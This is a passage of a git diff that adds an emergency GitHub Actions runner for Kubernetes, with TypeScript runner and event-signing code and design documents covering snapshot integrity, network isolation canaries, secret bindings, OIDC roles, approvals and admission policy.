files.output!, + GITHUB_ENV: files.env!, + GITHUB_PATH: files.path!, + GITHUB_STATE: files.state!, + GITHUB_STEP_SUMMARY: files.summary!, + ...env, + }; + if (state.path.length) processEnv.PATH = [...state.path, processEnv.PATH].join(":"); + const outputs: Record = {}; + const result = await new Promise<{ code: number | null; reason?: string }>((done) => { + let child; + try { + child = spawn(argv[0]!, argv.slice(1), { cwd, env: processEnv, stdio: ["ignore", "pipe", "pipe"], detached: process.platform !== "win32" }); + } catch (error) { + done({ code: null, reason: (error as Error).message }); + return; + } + const timer = setTimeout(() => { + try { + if (child.pid) process.kill(process.platform === "win32" ? child.pid : -child.pid, "SIGKILL"); + } catch { + child.kill("SIGKILL"); + } + done({ code: null, reason: "step timeout reached" }); + }, Math.max(0, timeoutAt - Date.now())); + const lines = (stream: "stdout" | "stderr") => { + let buf = ""; + return (chunk: Buffer) => { + buf += chunk.toString("utf8"); + const parts = buf.split(/\r?\n/); + buf = parts.pop()!; + for (const line of parts) handleLine(line, stream, place, no, outputs); + }; + }; + const out = lines("stdout"); + const err = lines("stderr"); + child.stdout!.on("data", out); + child.stderr!.on("data", err); + child.on("error", (error) => { + clearTimeout(timer); + done({ code: null, reason: error.message }); + }); + child.on("close", (code) => { + clearTimeout(timer); + out(Buffer.from("\n")); + err(Buffer.from("\n")); + done({ code }); + }); + }); + Object.assign(outputs, parseFileCommands(readFileSync(files.output!, "utf8"))); + const envAdds = parseFileCommands(readFileSync(files.env!, "utf8")); + Object.assign(state.env, envAdds); + for (const p of readFileSync(files.path!, "utf8").split(/\r?\n/).filter(Boolean)) state.path.unshift(p); + const summary = readFileSync(files.summary!, "utf8"); + if (summary.trim()) log(`Step summary:\n${summary.trimEnd()}`, place.key, no); + const outcome: StepResult = result.reason === "step timeout reached" ? "cancelled" : result.code === 0 ? "success" : "failure"; + return { outcome: outcome === "cancelled" ? "failure" : outcome, exitCode: result.code, outputs, reason: result.reason ?? (result.code === 0 ? undefined : `exit code ${result.code}`) }; + }; + + const handleLine = (line: string, stream: "stdout" | "stderr", place: Place, no: number, outputs: Record) => { + const cmdMatch = /^::([a-z-]+)(?:\s+([^:]*))?::(.*)$/.exec(line); + if (cmdMatch) { + const [, name, props = "", value = ""] = cmdMatch as unknown as [string, string, string?, string?]; + if (name === "add-mask") { + masker.add(value); + log("::add-mask::***", place.key, no, stream); + return; + } + if (name === "set-output") { + const n = /name=([^,]+)/.exec(props)?.[1]; + if (n) outputs[n] = value; + return; + } + if (name === "error" || name === "warning" || name === "notice") { + emit({ type: "annotation", at: now(), job: place.key, step: no, level: name, message: display(value), source: "workflow" }); + } + } + emit({ type: "log", at: now(), job: place.key, step: no, stream, text: display(line) }); + }; + + const restore = (f: FileEntry, workspace: string) => { + const target = join(workspace, ...f.path.split("/")); + mkdirSync(dirname(target), { recursive: true }); + copyFileSync(fileOf(f), target); + chmodSync(target, f.executable ? 0o755 : 0o644); + }; + + const resolveInside = (workspace: string, wd: string | undefined, evalCtx: { contexts: Contexts }) => { + if (!wd) return workspace; + const clean = normalizePath(interpolateString(wd, evalCtx).replace(/^\.\//, "")); + if (clean === null) throw new Error(`working-directory ${wd} is outside the workspace`); + const full = resolve(workspace, clean); + if (relative(workspace, full).startsWith("..") || (full !== workspace && !full.startsWith(workspace + sep))) throw new Error(`working-directory ${wd} is outside the workspace`); + mkdirSync(full, { recursive: true }); + return full; + }; + + const eventFile = (temp: string) => { + const f = join(temp, "event.json"); + if (!existsSync(f)) writeFileSync(f, JSON.stringify({ inputs: config.execution.inputs })); + return f; + }; + + // 4. The entry workflow. + try { + const wf = parseWorkflow(config.execution.workflow, readSnapshotText(WORKSPACE, config.execution.workflow)); + const specs = { ...wf.dispatchInputs, ...(wf.call?.inputs ?? {}) }; + for (const [name, spec] of Object.entries(specs)) if (spec.required && !(name in config.execution.inputs) && spec.default === undefined) return end("failure", `Required input ${name} was not supplied`); + const inputs = coerceInputs(specs, config.execution.inputs); + const secretsCtx = Object.fromEntries(manifest.requirements.secrets.map((r) => [r.name, secrets[r.name] ?? ""])); + const outcome = await runWorkflow(wf, inputs, secretsCtx, "", 0); + const outputs: Record = {}; + if (wf.call) for (const [name, expr] of Object.entries(wf.call.outputs)) outputs[name] = masker.apply(stringify(interpolate(expr, { contexts: { jobs: outcome.jobs, inputs } }))); + return end(outcome.result, outcome.result === "failure" ? "one or more jobs failed" : undefined, outputs); + } catch (error) { + return end("failure", `Runner error: ${(error as Error).message}`); + } +} + +/** Kubernetes Secret volumes hold each key as a symlink next to "..data" entries; only plain names are secrets. */ +function readdirNames(dir: string): string[] { + return readdirSync(dir).filter((n) => /^[A-Za-z_][A-Za-z0-9_-]*$/.test(n)); +} + +function runnerContext(temp: string) { + return { os: "Linux", arch: process.arch === "arm64" ? "ARM64" : "X64", name: "gha-emergency-runner", temp, tool_cache: "", environment: "self-hosted" }; +} + +function stringMap(env: Record, contexts: Contexts): Record { + return Object.fromEntries(Object.entries(env).map(([k, v]) => [k, interpolateString(v, { contexts })])); +} + +/** A minimal process environment: the runner's own variables (Kubernetes service addresses, …) are not passed on. */ +function baseEnv(): Record { + return { PATH: process.env.PATH ?? "/usr/local/bin:/usr/bin:/bin", LANG: "C.UTF-8", TZ: "UTC" }; +} + +function shellCommand(shell: string, cmd: { bash: string; sh: string; python: string }): { argv: string[]; ext: string } { + if (shell === "") return { argv: [cmd.bash, "-e", "{0}"], ext: ".sh" }; + if (shell === "bash") return { argv: [cmd.bash, "--noprofile", "--norc", "-eo", "pipefail", "{0}"], ext: ".sh" }; + if (shell === "sh") return { argv: [cmd.sh, "-e", "{0}"], ext: ".sh" }; + if (shell === "python") return { argv: [cmd.python, "{0}"], ext: ".py" }; + const parts = shell.split(/\s+/); + if (/^(?:bash|sh|python3?)$/.test(parts[0]!) && parts.includes("{0}")) { + const exe = parts[0] === "bash" ? cmd.bash : parts[0] === "sh" ? cmd.sh : cmd.python; + return { argv: [exe, ...parts.slice(1)], ext: parts[0]!.startsWith("python") ? ".py" : ".sh" }; + } + throw new Error(`shell: ${shell} is not available in the emergency runner`); +} + +async function probe(host: string): Promise<{ reachable: boolean; detail: string }> { + let address: string; + try { + address = (await withTimeout(lookup(host), 3000)).address; + } catch (error) { + return { reachable: false, detail: `DNS lookup failed (${(error as NodeJS.ErrnoException).code ?? (error as Error).message})` }; + } + return new Promise((done) => { + const socket = connect({ host: address, port: 443, timeout: 3000 }); + socket.once("connect", () => { + socket.destroy(); + done({ reachable: true, detail: `TCP connection to ${address}:443 succeeded` }); + }); + socket.once("timeout", () => { + socket.destroy(); + done({ reachable: false, detail: `TCP connection to ${address}:443 timed out` }); + }); + socket.once("error", (error: NodeJS.ErrnoException) => done({ reachable: false, detail: `TCP connection to ${address}:443 failed (${error.code ?? error.message})` })); + }); +} + +function withTimeout(p: Promise, ms: number): Promise { + return Promise.race([p, new Promise((_, reject) => setTimeout(() => reject(new Error("timeout")), ms))]); +} diff --git a/deploy/emergency/runner/event-signer.ts b/deploy/emergency/runner/event-signer.ts new file mode 100644 index 0000000..db4a0cb --- /dev/null +++ b/deploy/emergency/runner/event-signer.ts @@ -0,0 +1,21 @@ +// The runner's event writer, in the format src/emergency/event-stream.ts verifies (security review H2): a key pair +// generated here, in the runner's protected memory, for this execution only. The public key is the first line +// written; every event is signed with the private key and chained to the one before. The private key is never written +// anywhere, so nothing outside this process (the Job, the executor, an API reader, a workflow step) can sign an event. +// Synchronous, so events are written in order. +import { generateKeyPairSync, sign } from "node:crypto"; +import { EVENT_PREFIX, KEY_PREFIX } from "../../../src/emergency/events.ts"; + +export function createEventWriter(execution: string, write: (line: string) => void): (e: object) => void { + const { publicKey, privateKey } = generateKeyPairSync("ed25519"); + // The raw 32-byte key is the end of its DER SubjectPublicKeyInfo encoding. + const raw = publicKey.export({ format: "der", type: "spki" }).subarray(-32).toString("hex"); + let prev = JSON.stringify({ v: 2, alg: "Ed25519", publicKey: raw, execution }); + write(`${KEY_PREFIX}${prev}\n`); + let seq = 0; + return (e: object) => { + const json = JSON.stringify({ ...e, seq: seq++ }); + prev = sign(null, Buffer.from(prev + json), privateKey).toString("hex"); + write(`${EVENT_PREFIX}${prev} ${json}\n`); + }; +} diff --git a/deploy/emergency/runner/main.ts b/deploy/emergency/runner/main.ts new file mode 100644 index 0000000..777a24e --- /dev/null +++ b/deploy/emergency/runner/main.ts @@ -0,0 +1,73 @@ +// Entry point of the emergency runner container (deploy/emergency/Dockerfile, target "runner"). Configuration comes +// from the Job spec the executor writes (deploy/emergency/executor/job-spec.ts); events go to stdout, one per line. +// Exit code: 0 when the workflow succeeded, 1 when it failed, 2 when the runner itself could not start. +// +// Security review H3: workflow processes run as the same user as the runner, so the runner must be out of their +// reach. The Job starts it from an execute-only copy of node (mode 0111, owned by root), which makes the kernel mark +// the process non-dumpable: its /proc/ entries belong to root, so workflow code can't reopen its stdout (the +// event channel), read its memory (the event signing key) or environment, or attach to it. It runs as PID 1, which ignores +// signals it has no handler for, and with --disable-sigusr1 so a signal can't start the inspector. The runner checks +// this at startup and refuses to run without it. +// +// Every event line is signed with a key pair the runner generates at startup (security review H2): the public key is +// the first line of the log, the private key never leaves this process (event-signer.ts; event-stream.ts has the +// format and the executor's check). Workflow processes get a minimal environment of their own (engine.ts). +import { statSync } from "node:fs"; +import { runSnapshot } from "./engine.ts"; +import { createEventWriter } from "./event-signer.ts"; + +/** The execution's id, which the key line names; the rest of the configuration is read in config(). */ +function executionId(): string { + try { + return String((JSON.parse(process.env.GHA_EMERGENCY_EXECUTION ?? "") as { id?: unknown }).id ?? "unknown"); + } catch { + return "unknown"; + } +} +/** The only writer of event lines; stdout is a pipe, so each write is synchronous and in order. */ +const emit = createEventWriter(executionId(), (line) => process.stdout.write(line)); + +/** Whether this process is non-dumpable: its /proc entries then belong to root, not to the runner's user. */ +function protectedProcess(): { ok: boolean; detail: string } { + if (process.platform !== "linux") return { ok: false, detail: `platform ${process.platform}` }; + try { + const owner = statSync("/proc/self/fd").uid; + return owner === 0 && process.getuid?.() !== 0 + ? { ok: true, detail: "non-dumpable: /proc/self is owned by root" } + : { ok: false, detail: `/proc/self is owned by uid ${owner} (the runner runs as uid ${process.getuid?.()})` }; + } catch (error) { + return { ok: false, detail: (error as Error).message }; + } +} + +function config() { + const raw = process.env.GHA_EMERGENCY_EXECUTION; + if (!raw) throw new Error("GHA_EMERGENCY_EXECUTION is not set"); + const execution = JSON.parse(raw) as { id: string; workflow: string; digest: string; inputs: Record; variables: Record }; + return { + snapshotDir: process.env.GHA_EMERGENCY_SNAPSHOT_DIR ?? "/snapshot", + workDir: process.env.GHA_EMERGENCY_WORK_DIR ?? "/work", + secretsDir: process.env.GHA_EMERGENCY_SECRETS_DIR ?? "/secrets", + execution: { id: execution.id, workflow: execution.workflow, digest: execution.digest, inputs: execution.inputs ?? {}, variables: execution.variables ?? {} }, + maxMinutes: Number(process.env.GHA_EMERGENCY_MAX_MINUTES ?? 60), + networkProbe: (process.env.GHA_EMERGENCY_NETWORK_PROBE ?? "github.com,api.github.com,codeload.github.com").split(",").filter(Boolean), + emit, + }; +} + +const end = (reason: string, code: number) => { + emit({ type: "execution-end", at: new Date().toISOString(), result: "failure", durationMs: 0, outputs: {}, reason }); + process.exitCode = code; +}; + +const guard = protectedProcess(); +if (!guard.ok) { + end(`Refusing to run: the runner's events can't be protected from workflow code (${guard.detail})`, 2); +} else { + try { + const result = await runSnapshot(config()); + process.exitCode = result === "success" ? 0 : 1; + } catch (error) { + end(`Runner could not start: ${(error as Error).message}`, 2); + } +} diff --git a/docs/ARCHITECTURE.md b/docs/ARCHITECTURE.md index bd2f289..62af834 100644 --- a/docs/ARCHITECTURE.md +++ b/docs/ARCHITECTURE.md @@ -1,6 +1,6 @@ # Architecture — GitHub Actions UI -**Status:** Approved 2026-10-20. A1–A7 and A9 are approved; **A8 is approved provisionally**. **No application code exists.** +**Status:** Approved 2026-10-20. A1–A7 and A9 are approved; **A8 is approved provisionally**. No application code existed when this document was approved. The implemented state is tracked in ROADMAP and in the implementation notes in §11. **Sources:** - Milestones: `docs/ROADMAP.md` (in this repository). @@ -341,12 +341,16 @@ The log worker script is served with `connect-src 'none'`. - non-root UID 1000, read-only root filesystem, no volumes; - all capabilities dropped, no privilege escalation, seccomp `RuntimeDefault`; - no service-account token, and no Kubernetes API permissions, since the UI never calls the API; - - no outbound network: the image was checked with networking disabled. + - no outbound network needed: the image was checked with networking disabled. The chart does not enforce this. It adds no NetworkPolicy, so the cluster does not block the pod's egress. - The chart's values schema rejects values that would weaken this, at install time. Removing seccomp from one level is allowed, as long as the other keeps it. `tools/chart/check-chart.ts` checks in CI that each such override is refused, and checks the rendered templates. - **Residual risks:** - The hosted page is where users type a token, so whoever controls the image, or anything between the user and the pod (a proxy or CDN), can affect it. HTTPS, trusted images and immutable tags or digests are required outside local port-forwarding. - A proxy that adds, removes or rewrites headers would weaken the CSP. This is not yet verified for any Gateway or Ingress. - Base images are pinned by tag, not digest (`deploy/ui/README.md`). +- **Beyond A10–A12 (proposals only, none approved):** + - `docs/KUBERNETES_ACCESS.md` covers options for external access, TLS and backend authentication. It also covers recovery help for maintainers: a read-only outage impact view to investigate first. Its research on organization-run recovery is an optional context. It lists the decisions these need (K-1 to K-11, Q-R1 to Q-R6). + - `docs/RECOVERY_VALIDATION_STUDY.md` is the problem-validation study that comes before any recovery decision. + - `docs/PLATFORM_RECOVERY_DISCOVERY.md` is the checklist for the optional organization context (Q-R1). --- @@ -861,6 +865,29 @@ A pure model (`src/domain/report/report.ts`) that builds a shareable report of o - image signing and SBOM, and base-image digests; - external access (Gateway API or Ingress), NetworkPolicy, PodDisruptionBudget and autoscaling. +### 11.15 Emergency execution (owner-directed 2026-10-30, committed 2026-11-02 with remediations through H2, for review) + +**The decision and what it covers:** +- The project owner directed an emergency execution capability. +- It is a separate, optional component, specified in `docs/EMERGENCY_EXECUTION.md`. +- It changes the earlier read-only-only boundary **for that component only**. + +**What it adds:** +- an executor service (`deploy/emergency/executor/`, chart `charts/gha-emergency`) that stores immutable snapshots and creates Kubernetes Jobs; +- a runner image; +- a lazy-loaded `#/emergency` area in the UI; +- three GET methods in the GitHub client (commit, tree, blob). + +**What stays the same in the read-only app:** +- its token and permissions; +- its GET-only transport; +- its CSP (the emergency API is same-origin); +- the `gha-ui` chart. + +One lint boundary changed: `src/emergency/executor-client.ts` may call `fetch`, for the same-origin emergency API only. + +Proposals K-1…K-11, Q-R1 and Q-R2 remain as recorded and are not approved by this note. + ## 12. Open risks (not validated) | Risk | Current state | Mitigation or plan | diff --git a/docs/EMERGENCY_EXECUTION.md b/docs/EMERGENCY_EXECUTION.md new file mode 100644 index 0000000..39b727b --- /dev/null +++ b/docs/EMERGENCY_EXECUTION.md @@ -0,0 +1,421 @@ +# Emergency execution (MVP) + +**Status:** MVP implemented 2026-10-30; committed with the security remediations through H2 on 2026-11-02, for review. **Not deployed.** +- **Directed by the project owner** on 2026-10-30. This is a deliberate change from the earlier position that the app stays read-only and that recovery execution should not live in this repository (`docs/KUBERNETES_ACCESS.md` §4–§8, Q-R1). +- The change applies **only** to this separate, optional component. +- **The read-only investigation app is unchanged:** same token, same permissions, GET-only GitHub client, same CSP. +- Earlier proposals (K-1…K-11, Q-R1, Q-R2) are not retroactively approved by this note. + +**What it does:** +1. **Prepare.** While GitHub is available, a user prepares an immutable snapshot of selected workflows at an exact commit, with everything needed to run them. +2. **Run.** When GitHub Actions is unavailable, the snapshot runs as a Kubernetes Job that has no access to GitHub. +3. **Review.** The user inspects the results. +4. **Reconcile.** After GitHub recovers, the user reconciles by hand. Nothing is reported back to GitHub. + +Only a **documented subset** of GitHub Actions is reproduced (§6). Validation refuses everything else before an emergency, and nothing is skipped silently. + +**Security review:** `docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md`. +- **C1, C2, H1, H2, H3 and H4 are remediated** (committed through H2 on 2026-11-02). Sections 4, 5, 7 and 10 describe the remediated behaviour. +- **The medium (M1–M7) and low findings are open**, H2 has not been tried with a real identity provider, and its ID-token verification awaits a focused review, so this is **not ready for production**. + +## 1. Architecture + +``` + Browser (existing app, #/emergency, lazy-loaded chunk) + │ prepare: GET-only GitHub client, existing token (Actions/Contents/Metadata: Read) + │ ── api.github.com (only while GitHub is available) + │ + │ upload / list / run / follow: same-origin api/emergency/, signed-in session (HttpOnly cookie) + ▼ + Executor pod (charts/gha-emergency, image target "executor") + │ serves the UI build + API; verifies and stores snapshots write-once on its volume + │ Kubernetes API only (Role: Jobs create/get/delete, pods list, pods/log get, events list; no Secrets) + ▼ + Runner Job pod (image target "runner"), one per execution + snapshot mounted read-only (subPath of the executor's volume), Secret mounted as files, + no service-account token, no DNS (isolated mode), GitHub hosts → 127.0.0.1, restricted pod security +``` + +| Part | Code | +|---|---| +| Shared, pure (browser, executor and runner) | `src/emergency/`: `expressions.ts` (expression subset), `model.ts` (workflow and action parsing), `prepare.ts` (dependency resolution and packaging), `snapshot.ts` (format, digest, verification), `events.ts` (runner event protocol) | +| Browser | `src/emergency/github-reader.ts`, `executor-client.ts`; `src/ui/emergency/*` | +| Executor | `deploy/emergency/executor/`: `server.ts`, `api.ts`, `store.ts`, `job-spec.ts`, `kube.ts` | +| Runner | `deploy/emergency/runner/`: `engine.ts`, `main.ts` | +| Images and chart | `deploy/emergency/Dockerfile` (targets `executor`, `runner`), `charts/gha-emergency/` | +| Demo pipeline | `examples/emergency-demo`, `examples/emergency-demo-shared-actions`; served in fixture mode by `tools/fixture-server/emergency-demo.ts` | + +**How the parts run:** +- The executor and runner run the TypeScript sources directly on Node 22's type stripping. There is no separate build output to review. +- No new backend service talks to GitHub. +- The only server added is the executor, and it is optional. The `gha-ui` chart and its image are untouched. + +## 2. Snapshot preparation + +Preparation runs in the browser, in `#/emergency/prepare`. + +1. **Pin the commit.** The ref is resolved once to a commit SHA (`GET …/commits/{ref}`). The commit's full file list comes from `GET …/git/trees/{sha}?recursive=1`, and a truncated listing is refused. Files are read by blob SHA (`GET …/git/blobs/{sha}`). Every byte therefore comes from the pinned commit. These three GET methods are new in `src/github/client.ts`, and need no new permission. +2. **Resolve dependencies.** Starting from each selected workflow, preparation resolves: + - jobs, `needs`, `if`, `env`, `outputs` and `defaults`; + - reusable workflows (`uses: ./.github/workflows/x.yml` or `owner/repo/.github/workflows/x.yml@ref`), recursively up to depth 10, with cycle detection. It checks inputs, required inputs, declared and passed secrets, `secrets: inherit` and `workflow_call` outputs; + - steps' `uses:`, which can be: + - local actions (`./path`); + - external actions (`owner/repo[/path]@ref`), whose ref is resolved to a SHA and whose repository is packaged at that commit; + - nested composite actions; + - `actions/checkout` of the snapshot's own repository, which is replaced by the packaged workspace and shown as a substitution; + - JavaScript actions: `runs.using` and `main`/`post` existence. Bare `require`/`import` specifiers in the entry files are checked against Node built-ins and packaged `node_modules`. An unbundled dependency is an error. + - scripts referenced from `run:`, which must be packaged; + - every `${{ }}` expression: contexts, functions, secret names, variable names, and GitHub-only values. +3. **Package.** The workspace is packaged whole, or limited to the chosen path prefixes, always keeping `.github/`. Excluding a script that a step uses is an error. Each file is pinned by sha256, and its executable bit is kept. +4. **Write the manifest.** It holds: + - source repository, ref and SHA; + - roots (the workspace and each external repository at its SHA); + - the execution graph; + - resolved actions; + - requirements: secret **names**, variable names, inputs per entry workflow, runtimes, and external services detected in scripts; + - diagnostics (error, warning, info); + - files and totals. +5. **Upload.** The browser sends `{ manifest, contents }`. **Secret values are never part of a snapshot**, and the GitHub token is never sent to the executor. + +**Immutability and lifecycle:** +- **Identity.** A snapshot's ID is the sha256 of its canonical manifest. The manifest pins every file by sha256, so identical content always has the same ID. +- **Verification.** The executor verifies the upload (structure, safe paths, sizes, hashes, totals, expiry), writes it to a temporary directory, makes it read-only and renames it into `snapshots//`. +- **No overwrites.** An existing digest is never overwritten. +- **Versions.** Re-preparing creates a new version under the same name. The manifest records its creation time, so re-preparing the same commit creates a new version too. +- **Expiry.** Snapshots expire after 1–90 days (chosen at preparation). The executor removes expired snapshots on start and on every listing. Executions refuse expired snapshots. +- **Repeated checks.** Stored snapshots are re-verified before every execution and on demand ("Verify stored files"). The runner verifies again inside the Job, including that the digest is the one requested. +- **Limits:** 3,000 files, 40 MB in total, 10 MB per file, 2,000 files per external repository. + +## 3. Storage choice + +| Option | For | Against | Decision | +|---|---|---|---| +| **PersistentVolume on the executor (chosen)** | Simplest with the existing chart; no registry or image build at preparation time; content-addressed, write-once directories; the runner mounts one snapshot read-only via `subPath` | ReadWriteOnce: runner pods are pinned to the executor's node (pod affinity); losing the volume loses snapshots; a backup is the operator's job | MVP | +| Container image per snapshot | Immutable by digest; distributable; runs on any node | Needs a registry reachable during the outage (not `ghcr.io`) and an image build at preparation time, which can't happen in the browser | Later option for multi-node clusters | +| Object storage (S3-compatible) | Durable; any node | Another dependency and its credentials; the runner would need network egress to fetch | Not chosen | +| ConfigMap or Secret | No storage needed | 1 MiB limit | Too small | + +## 4. Kubernetes execution + +**The Job** (`job-spec.ts`): +- `backoffLimit: 0`, `activeDeadlineSeconds = maxMinutes·60 + 120`, `ttlSecondsAfterFinished` (default 1 day). +- Its own service account with **no role bindings**, and `automountServiceAccountToken: false`. +- `enableServiceLinks: false`. +- Pod and container security: + - `runAsNonRoot`, uid and gid 1000, `RuntimeDefault` seccomp; + - `readOnlyRootFilesystem`, `allowPrivilegeEscalation: false`, all capabilities dropped; + - CPU, memory and ephemeral-storage limits; + - `emptyDir` working space with a size limit. + + This was admitted in a namespace enforcing Pod Security **restricted**. +- **Network (security review C2).** The boundary is **NetworkPolicy**, which works only where the cluster's network plugin enforces it (for example Calico or Cilium; not kindnet). + - **Baseline policy:** every runner pod has no ingress and no egress. + - **Canary:** before isolated executions run, the executor proves enforcement. A probe pod with exactly an execution's labels and network settings must fail to reach: + - an external IP address; + - the Kubernetes API; + - the cloud metadata address; + - an internal service (the executor's own). + + A control pod outside the policy must reach that internal service. + - **Verdict:** isolated executions are refused unless the canary's verdict is "enforced". A passing verdict is reused for up to 15 minutes; any other verdict only for 30 seconds. The first check runs 20 seconds after startup, because the control pod connects to the executor's own Service, which has no ready endpoint before then (seen live). + - **Defense in depth only:** `hostAliases` (11 GitHub hostnames pinned to 127.0.0.1) and, in isolated mode, `dnsPolicy: None` remain. + - **"github-blocked" was removed:** it blocked only names. + - **Egress mode** replaces it. It is opt-in (`network.allowEgressMode`) and **not isolated**: public addresses are reachable, including GitHub's. Private, link-local and metadata ranges are excluded, and egress runs need a passing egress canary too. + +**The runner** (`engine.ts`): +1. Reads the mounted Secret's files, and masks their values from that point on. +2. Verifies the snapshot (all hashes, the requested digest, no validation errors, required secrets present). +3. Probes `github.com`, `api.github.com` and `codeload.github.com` and reports reachability as evidence. +4. Runs the entry workflow: + - jobs one at a time in `needs` order (file order among ready jobs), each with a **fresh copy** of the packaged workspace; + - reusable workflows inline, as `caller/inner` jobs; + - job `if` with needed-job status, so dependents of failed or skipped jobs are skipped; + - step `if`, `continue-on-error`, `timeout-minutes` (capped) and `working-directory` (confined to the workspace). +5. Supports `GITHUB_OUTPUT`, `GITHUB_ENV`, `GITHUB_PATH`, `GITHUB_STATE` and `GITHUB_STEP_SUMMARY`, and the workflow commands `::set-output::`, `::add-mask::`, `::error::`, `::warning::`, `::notice::` and `::save-state::`. +6. Gives each process a minimal environment. The runner's own environment (for example Kubernetes service addresses) isn't passed on. +7. Emits one JSON event per line. The executor reads them from the pod log, archives the log when the Job finishes, and returns: + - status; + - jobs and steps, with exit codes and durations; + - outputs, logs and annotations; + - integrity and network evidence; + - why a pod couldn't start (from its warning events, for example a missing Secret). + +**The UI** shows the snapshot, source commit, status, job and step progress, logs, exit codes and the final result. It polls every 2 s while the execution runs. It never receives Kubernetes credentials. The browser can only call the executor's fixed API, which accepts nothing but a snapshot ID, an entry workflow, declared inputs, required variable names, a Secret **name** and a network mode. + +## 5. Secrets and security + +**Secrets:** +- **Values** are supplied as a Kubernetes Secret, created beforehand by someone with namespace access (`kubectl create secret generic … --from-literal=NAME=…`). +- **Bindings (security review C1).** An execution receives a Secret only through a binding in the chart's `secretBindings` values, set by a cluster administrator, not chosen in the request. + - **Scope.** A binding names one Secret, the keys it may provide, and the exact snapshot **digests** it serves. Names and claimed repositories can be forged (review H1), so they authorize nothing. + - **Mounting.** Only the keys the snapshot requires are mounted (volume `items`). + - **Refused** (by the chart, the executor and the bindings loader): the operator-token Secret, invalid bindings (which void every binding), and ambiguous bindings. + - **Runner check.** The runner refuses to start if any key it doesn't require is mounted. + - **At install and upgrade,** the chart requires: + - a namespace labelled dedicated and enforcing Pod Security "restricted"; + - no Secrets other than the break-glass credentials, the identity provider's client secret, Helm's records and bound Secrets; + - every bound Secret to exist, be Opaque and hold its keys. +- **Mounting:** only the runner pod mounts it, read-only, as files (mode 0440). +- **What can read them:** the executor has **no** permission to read Secrets (verified with `kubectl auth can-i`). Values never appear in Job specs, API responses, the browser, snapshots or audit logs. +- **Masking:** the runner masks values (and `::add-mask::` values) in every log line, output and reason. +- **Tested:** the live end-to-end test asserts that the demo secret's value is absent from the page. + +**Tokens:** +- The **GitHub token** stays in the browser and is used only for GET requests during preparation. It is never sent to the executor or a Job. Steps that need `GITHUB_TOKEN` or `github.token` are refused at validation. +- The **shared operator token is gone** (security review H2): a bearer token is refused on every API call. Its Secret now holds break-glass credentials (below). + +**Identity, roles and approval (security review H2):** +- **Sign-in.** Users sign in with the organization's OpenID Connect provider (`auth.oidc`). The executor runs the authorization code flow with PKCE, state and nonce itself, verifies the ID token (signature from the issuer's JWKS, an allow list of asymmetric algorithms, issuer, audience, authorized party, expiry, issued-at, nonce) and keeps nothing from it but the identity (issuer and subject) and a display name. +- **Sessions** are server-side: a random token in a `__Host-` cookie that is HttpOnly, Secure and SameSite=Strict, stored only as its hash. Defaults: 8 hours absolute, 1 hour idle. Signing out, an administrator's "End sessions" or disabling the user ends them at once. Every API call must also carry `X-GHA-Emergency: 1`, which other origins can't send. +- **Roles** (`deploy/emergency/executor/auth/roles.ts`) come only from the executor's own records, never from token claims: + - viewer: shared snapshots, executions, logs, cluster checks; + - operator: also prepares snapshots, starts executions, stops and deletes its own; + - approver: also approves or rejects executions that need it; + - administrator: also manages other users' roles and sessions, suspends Secret bindings, reads the audit log, and stops or deletes anything. + - Nobody changes their own roles. `auth.initialAdministrators` are pinned administrators, the way a new installation gets its first ones. +- **Ownership.** Snapshots record who stored them, executions who prepared, started and approved them, from the session, never from the request. A snapshot can be `restricted`: only its preparer, approvers and administrators see it (others get 404, as for an unknown ID), and only its preparer runs it or stores a new version of its name. +- **Approval.** By default an execution that receives a Secret, or runs in egress mode, waits for an approver (`approval.requireFor`; `all` and `restricted` are also available). No Job exists until approval. + - The approval is bound to a digest of exactly what will run: snapshot, workflow, inputs, variables, network mode, Secret binding and initiator. + - A different digest, a changed or suspended binding, or expiry (60 minutes) invalidates it. + - Under separation of duties (default), the approver may be neither the initiator nor the preparer. + - Harmless executions (isolated, no Secret) start at once. +- **Secret bindings** stay cluster configuration (Helm values, pinned again by the H4 admission policy). Administrators can only suspend and resume one through the API. +- **Break-glass** (`auth.breakGlass.accounts`, off by default), for an identity-provider outage: + - named accounts, each with its own generated credential (a key of the break-glass Secret, read by cluster administrators) and pinned roles, never administrator; + - every sign-in needs a reason, is audited, and lasts at most an hour; repeated failures lock the account out. + - Give an operator account and an approver account to different people. +- **Audit.** Every sign-in, refusal, change and execution step is a JSON line with the acting identity, on the executor's volume (`/audit/`) and stdout, readable by administrators. It never holds secret values, session tokens or keys. + +**Least privilege:** the executor's Role is limited to its namespace: Jobs `create/get/delete`, pods `list`, `pods/log get`, events `list`. The runner has no Kubernetes permissions. + +**Admission (security review H4):** RBAC can't constrain what a Job runs, so the API server does. +- **The policy.** The chart installs a ValidatingAdmissionPolicy and its binding (`templates/admission-policy.yaml`) for the release namespace. Every Job created there, by anyone, and every pod a Job creates (checked again after mutating admission, so injected sidecars are refused too) must be one of the shapes `job-spec.ts` builds: + - **What runs:** the runner image **by digest** (`runner.image.digest`), `IfNotPresent`, one container named `runner`, no init or ephemeral containers. Only the runner's or the canary's exact command, with no arguments, hooks, probes or ports. + - **Security context:** the runner service account with no token, no host network, PID or IPC namespace. Non-root, RuntimeDefault seccomp, no privilege escalation, read-only root filesystem, all capabilities dropped. + - **Resources:** cpu, memory and ephemeral-storage limits within the chart's runner values; one pod, no retries, a deadline. + - **Volumes:** size-limited emptyDirs, the snapshot volume read-only at one snapshot's directory, and Secret keys that `secretBindings` give **that** snapshot's digest. Nothing else: no hostPath, other Secrets, ConfigMaps or projected tokens. + - **Environment:** the runner's own variables, with literal values only. No Secret references and no `envFrom`. + - **Network:** the labels the runner NetworkPolicies select, in an enabled network mode. + - **Namespace:** Jobs are refused unless the namespace is labelled dedicated and Pod Security "restricted". +- **Proven, not assumed.** Before every execution (cached 15 minutes), the executor sends two server-side dry runs (`admission-check.ts`): a canary Job with a hostPath volume must be denied by the policy, and the same Job without it must be accepted. Otherwise it refuses with "the cluster does not enforce the runner admission policy". The state is at `GET api/emergency/admission-check`. The dry runs use the existing `create jobs` permission. +- **Requirements:** Kubernetes 1.30 or later (ValidatingAdmissionPolicy v1), which the chart's `kubeVersion` and install checks enforce. The installing user needs permission to create the cluster-scoped policy and binding. + +**Execution evidence (security review H3):** +- **The runner is out of the workflow's reach.** Steps run as the runner's own user (uid 1000). The runner, PID 1, is started from an execute-only copy of node, so the kernel marks it non-dumpable. Its `/proc` entries then belong to root, so steps can't write to its stdout, read its memory or environment, or ptrace it. As PID 1 it ignores signals it has no handler for, and `--disable-sigusr1` keeps a signal from starting the inspector. The runner checks this at startup and refuses to run without it. This depends on the node's 